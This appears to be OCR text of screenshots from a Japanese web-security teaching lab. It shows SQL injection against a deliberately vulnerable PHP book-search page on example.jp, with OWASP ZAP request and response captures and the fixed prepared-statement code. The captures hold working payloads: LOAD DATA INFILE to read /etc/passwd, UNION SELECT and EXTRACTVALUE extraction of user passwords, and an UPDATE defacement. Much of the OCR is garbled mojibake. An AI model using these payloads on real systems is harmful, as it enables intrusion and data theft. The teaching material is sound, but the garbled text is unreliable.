phpinfo <a href':’ hplm(o php ">phpinfod/a><br>
h—AICES <a href="/"F—LIlE2<a>

</body>
<html>




[I59¥—>H—s8: YUTRE 44/44-001php = LRAKUR ] SQLEfERY BERRO7ALHEAHLIIIZALOREETF—TILID)
W SFtyyay - 20181219-075342 - OWASP ZAP 27.0 — [n] X
J7-iL BE BT MUD— -k Y-l AZS12 AL
(EEfF pUiSEm s 226 5090 000 eV =-P )O0%ERE. o6
FEZINES [# o495 28—+ [muozan] + |
@LEO [Forarea-) 26

M=k Ar GET http://example.jp/44/44-001.php?author =9%27;L OAD+DATA+INFILE +%27/etc/passwd%27+INTO+ TABLE-+ books + (title)-—+ HTTP/1.1 l;
([EEEIFHEAN User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: 1/xheml+xml 1;9=0.9,%/*;0=0.8

Accept-Language: ja,en-Us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://example.jp/44/
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests; 1

d

[LOAD DATA INFILEJIZKST. /etc/passwd DRE
%

Host: example.jp

= AR
FrAurEa— v D0

HTTP/1.1 200 OK K
Server: nginx/1.10.3

Date: Thu, 20 Dec 2018 02:21:31 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 183

Cennection: keep-alive

Vary: Accept-Encoding

X-UA-Compatible: IE=edge

<html=

<body>

<table border=1>
<trs
<th>EBID=/th>
<th=%- Pl</th=
<th>EB&L</th>
<ths HAREL </th>
<th>HRER </th>
<the i< /th>
</tr>

</table>

=/body>
«/html= E
| [EEE]s= [Rrs—t [ 7orTvh [ 4]

@ & 7 z1uaAs ¢ TVAR-H
URL AF—HAI—F | RF—HX—FEH | VYR bUYTS.. | LARYZRTAHAZ | BPS—b [/ -k |57 \@

o |usTAMER |

FI-F RO P12 RO WEOAF 2 w0 G0 D0 ©o #o 0 #o
“44-001.php?author=";LOAD+DATA+INFILE+/etc/passwd'+INTO+TABLE+books+(title)-—+" E581E% DL/ 85 A—S(LOAD DATA INFILE:MySQLODHLEEHEE)




[T59¥—>H—/%: YOI~ 44/44-001php — LRKRUR ] SQLEEBHE WERK(EER)

W=

74 RWE FR RUS— LR—b Yol AT NV

9/3) - 20181219-075342 - OWASP ZAP 2.7.0

Ee—r ploEsEms B0 0o 000 &8

b phOoXERE

@ G

[# z1vozo—r[suozar |+ |

@51k | 4

= LARZA

Accept: text/html,app 1tml+xmi,
Accept-Language: ja,en-US:q=0.7,en:q=0.3
Accept-Encoding: gzip, deflate

Referer: http://example.jp/44/

DNT: 1

‘Connectien: keep-alive
Upgrade-Insecure-Requests: 1

Host: example.jp

lauthor IS NULLIT,
author3ll ANNULLD T—%5%

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64/\y:64.0) Gecke/20100101 Firefox/64.0

0.9,%/%,9-0.8

RRLET

eREE [Frrnrea—fs @O Foaubea— g B0
A= Jﬁitx\"_ GET http: . p/44/44-001 )r=%270R+aUthor+1S+NULL--+ HTTP/1.1 HTTR/1.1 200 OK S
@ BEISFTFAN Server: nginx/1.10.3

Date: Thu, 20 Dec 2018 02:29:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 4482

Connection: keep-alive

Vary: Accept-Enceding

X-UA-Compatible: [E=edge

<html=

<body>

«table border=1x>
<tr>
<th=TESID</th>
<th=& l</th=
<th>FF&</th>
<th>HiRfL</th>
<ths BERER < /th>
<th>{litg</th>
<ftr>

<tr>

<td></td>
<td>rootix:0:0:root:/root:/bin/bash< /td>
<td></td>

ctd> < /td>

< td>carol:x:1003:1003:,,,:/home/carol:/binfbash < /td >
<td></td>

<td></td>

<td></td>

<td></td>

<ftrs

< [tables
</body>
</html= S

Jam]fwﬂﬂwﬁa—rL;mww[.ﬂ

@ @ T orsaz § TR~

d |USTRREE | AV E | URL

F3-—b RO 1 B2 @O

AF A |AT—HFAA-F. |SOFERUT . | LARSAAT . |BETS. |-k 89U

&)

BEDRE+ 420 o 20 @o ¥o S0 %g<_<')

“44-001.php?author="OR+author+[S+NULL-—+"

BES814 % DL/ 85 A—4 (author IS NULL)



[T554]

<« c @ @ examplejp/44/44-001.php?author="0R+author+|S+NULL--+ w

EEID a4 kL =B LR LARE A | il
root:x:0:0:root:/root:/bin/bash
idaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

alice:x:1001:1001:,,,:/home/alice:/bin/bash
bob:x:1002:1002:,,,:/home/bob:/bin/bash
icarol:x:1003:1003:,,,:/home/carol:/bin/bash

examplejp/ad/as-001 phprauthor X R S

c o ehttp; 144/44-001.php?author="OR+author+1S+NULL--+ w |

<html>

<body>

{table border=1>
<trr

<thERE DG thy
<th>% 1 B JL</thy
<thBEECthy
<th>HRRIT G the
<th>HRRFR </th>
<th{fi#E</ th>
ey

<tr>

Sd></td>
<tdrrootsx:0:0: root :/root t/bindbash</td>
<tdr<std>
<tdrstdr
<tdr</tdr
<tdrstdr

<y

b <td

<td</td>
<tdr<Stdr
<td</td>
<td</td>
<t
</table>
</body>
</html>




SQLfESME 44004 BB R RN EREER)

SQLIfEEEE 44004 ERFERRIRSALAV DI a v HE)

&« C @
4.4 SQLIFUME LICHED REERIE
. 44-001:FEBE(EER)

44-001:FEBR(T S5 — AVt —Ih 5 DIEERER)
44-001: ﬁgﬁ,ﬁ(UNION SELECTZRWIZEZRFER)

. 44-001: ﬁfﬁﬁ?i(-r SR R

. 44-001: EBIBE( I 7 LI L1 D 7 AILOAEET —TILIC)
. 44-001: BEER(I 7 AILEIHBL[21Z—TILE8)

10. 44-004: HEBZIFEIR(FER ﬁ @ ®

. 44-004 BBBERAR(SOLA > I1 025 V1) (B

12. resetdb:F— 9~ — 2|8

phpinfo
h=LICED

¢ @ @ view-source:http:/fexample jp/a4/ v e P m &

<html>
<head><titlerd.d SOLIFTHE L IZH 2 BEEBIH</ it le></head>

<body>

4.4 SOLIFTAE L (2 3 ha35EH

<ol>

<li><a href="44-001.php?author=Shakespeare > 44-001 : BiZt# &R (IEWF)</a> </ | i

<li><a href="44-001.php?author="+AND+EXTRACTYVALUE (0, (SELECT+CONCAT (' $", id, "+ ", pwc) +FROM+users+L IMITHD, 1)) +-—+">44-001: &R (I S — A v 12
<li><a href="
<{li><a href=
<{li><a href=

U SOIERRIRN 2/ 10>
.ehp?author=author="+UNIONSELECT+id. pwd. name , addr, NULL , WULL , NULL +FROM+use re--+">44-001: @iEi238 (UNION SELECTZE L 18RS </ax</1i>

 html > 44-002: SETERE< 204/ 10>
TEE (EEF) </ i

<li><a href= SsTEE (SREL ) </ i>

<li><a href= UPDATE+books+SET+TITLE%SD <ircracked!</i>"+WHERE+id#30' 1001"--+">44-001: B&EtasR (7 — W& A)</a> <a href="44-001.cho?author=Shakespeare "> BEEDC/ax</ | i>
<li><a href="44-001. th'?autho =" ;L OAD+DATA+ INFILE+" /etC/DaSSWd +INTU+TABLE+bOOkS+(t itle)--+">44-001: @& (T 7 ILERAE LD T 7 M ILENBFE T — L)< i

¢liv<a href=Zd400L ghi2author=, ORvaut horr  StNULL-—+ 244001 B & 8aR 52 bl s ARl i o

<li><a hrefd /44/44-004. photauthor=Shakespeare > 44-004: J’Eiﬁﬁﬁﬁﬁﬁ(ﬁﬁg‘)gax/l i> l

<lix<a href{’/44/44-004. pho?author="+AND+EXTRACTVALUE (0, (SELECT+CONCAT("$”, o) +HFROM+usersH IMIT+0, 11)+--+ >44-004: BREISSRIFERAR (301 02 2 & 2 3 VB /ax</ i

<lix<a href="resetdo.chp > resetdh T — 4 ~— TR He/ar</ 1 1>

<fol>

<br>

<a href="phpinfo.phe >ehpinfod/a><br>
<a href="/"F—LIIED<a>

<{/body>

<html>



[H—/X: phpo7AIL ]

& M.php - - IF4% - WinSCP -

El D¢ gesa xw-r-Oe- @@

k< 2php
header( ' Content-Type: text/html; charset=UTF-8');
$author = $_GET["author'];

tm
|'$opt = array(PDO: :ATTR_ERRMODE =» PDO: :ERRMODE_EXCEPTION, |

H PDO: :MYSQL_ATTR_MULTI_STATEMENTS =>| false,

L PDO: : ATTR_EMULATE_PREPARES => [false); ]
/7 TiF (defined("PDO: T MYSQLATTR_MUCTT STATEMENTS)) T~
17 $opt[PDO: :MYSQL_ATTR_MULTI_STATEMENTS] = false;
/" }

| $db = new PDO("mysql:host=127.8.0.1;dbname=wasbook;charset=utf8", "wasbook”, “wasbook”, §opt);
"SELECT * FROM books WHERE author =2 ORDER BY id";

| $ps = $db->prepare($sql);

| $ps-»>bindValue(l, $author, PDO::PARAM _STR);

| $ps-vexecute();

<body>
<table border=1>
<tr>
<th>EEID</th>
<th> @ A Fib</thy
<th>EEH¢/th>
<th>HHRIz</th>
<th>HERFF</th>
<th>{@tE</th>
</tr>
<?php
while ($row = $ps->fetch()) {
echo "<tr>\n";
for ($col = 8; $col < 6; $col++) {
echo "<td>" . $row[$col] . "</td>\n";

echo "</tr>\n";

}
} catch (PDOException $e) {

error_log("Query Error : " . $e->getMessage());
die("fELEH A PAATRELTVET. LESCE- TS THE I EL);
}
>
</table>
</body>

</html>

PDO:ATTR ERRMODE # PDO:ERRMODE EXCEPTION [ZE¥iELFEY
:PDOMEADIS—ERAA—F HBE. ChALTNET—AR—REMBOAFISNHFRELET

PDO:MYSQL ATTR MULTI STATEMENTS % false [SBEL Y
HRBOXE—EISRITTELYET

PDO:ATTR EMULATE PREPARES % false [<B(EL T
BT —RABLSERELET (HHN—F. K2 TY)
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o GET http://example.jp/44/44-004.php?author=Shakespeare HTTR/1.1
[CIEEIFHEAN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html html+xml I l;q
Accept-Language: ja,en-US;q=0.7,en;g=0.3
Accept-Enceding: gzip, deflate

Referer: http://example.jp/44/

DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Hest: example.jp

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Thu, 20 Dec 2018 03:20:11 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 672

Connection: keep-alive

Vary: Accept-Encoding
X-UA-Compatible: IE=edge

<html>

<body=

<table border=1>
<tr=
<th=HED</th>
<th=4 ~L=/th>
<th=EEZ</th=
<th=BRHt</th>
<th=EEFR</th>
<th=flitg</th>
<ftrs

<tr=
=td=1001</td=
<td>BOROF < td>
<td=Shakespeare=/td>
<td-FRSH=</td>
<td>1979/01</td>
<td=600</td=

<ftrs

<td>1004</td>
<td>UPE</td>
<td>Shakespeare«/td>
<td>FENEL </td>
<td>2004/07 < /td>
<td>1890</td=>

</tr=

«/table>

«/body>

</html=
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TS arFExb GET http://example.jp/44/44-004.php?authar =927+ AND+EXTRACTVALUE(D, (SELECT + CONCAT (%27$%27,id,%327: %27, pwd) + FROM +users+LIMIT+0,1))+--+ HTTP/1.1 LA\
[ BEALFEAN User-agent: Mozilla/s5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/=html+xml,appl B
Accept-Language: ja,en-US;q=0.7,en;q9=0.3
Accept-Encoding: gzip, deflate
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Referer: http://example.jp/44/
DNT: 1 FENEEXTHITSI—AvE—CEHNEEHILT
Connection: keep-alive ID. NRT—R DR EESIESRITHEREEE DV TLET
Upgrade-Insecure-Requests: 1
Host: example.jp
d

= LARER
FZALbEa— ¥ B

HTTP/1.1 200 OK R
Server: nginx/1.10.3

Date: Thu, 20 Dec 2018 03:26:46 GMT

Centent-Type: text/html; charset=UTF-8

‘Content-Length: 183

Connection: keep-alive

Vary: Accept-Encoding

X-UA-Compatible: IE=edge

<html=

<body>

<table border=1>
<tr>
<th>HBID</th>
<th=%- hL</th>
<th>EEG</th>
<th>HkRit</th>
<th=BHEER </th>
<th>{lig</th>
ftr>

< /tables
</body>
</html= v

jam]éuai{ﬁwa—rIt;mww[-i-}
@ @ ¥ oana A @ TR
Id |USTAMEE | XYy K |URL
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<« c o @ examplejp/44/44-004 php?author=Shakespeare

EEID| g1 | =EE | wmd [winEn | @e

1001 |[EofEonE|Shakespeare|BFF=E |[1979/01(600

1002 ||/\/slrw |Shakespeare EFEE  |[1997/04|[1260

1003 ||~ |[Shakespeare||LIZHAR |[2001/05/(1530

1004 |UFE Shakespeare| B¢ H/A5%$H[2004/07|(1890
(SQLAv oz av i)

<html>

<body>

<table border=1>
<>
AhEE D th>
<the 8 A L thy
{thyEEEth
<th> BRRET< th>
<th>BARFA G th
<th>{fi#E</ th>
<ty

<tr

<td>1001</td>

D EOEOE td
<td>Shakespeare</td>
A EFSE D
<td>1979/01</ 1 d>
<td>600</td>

<ty

<tr

<td>1004</td>

<t 7 ES D
<td>Shakespeare</td>
<tdRBLRRITC L
<td>2004/07</t d>
<td>1890</td>

<t

</table>

</body>

</html>

@ view-sourcehttpi//example.jp/44/44-004.php?author=Shakespeare
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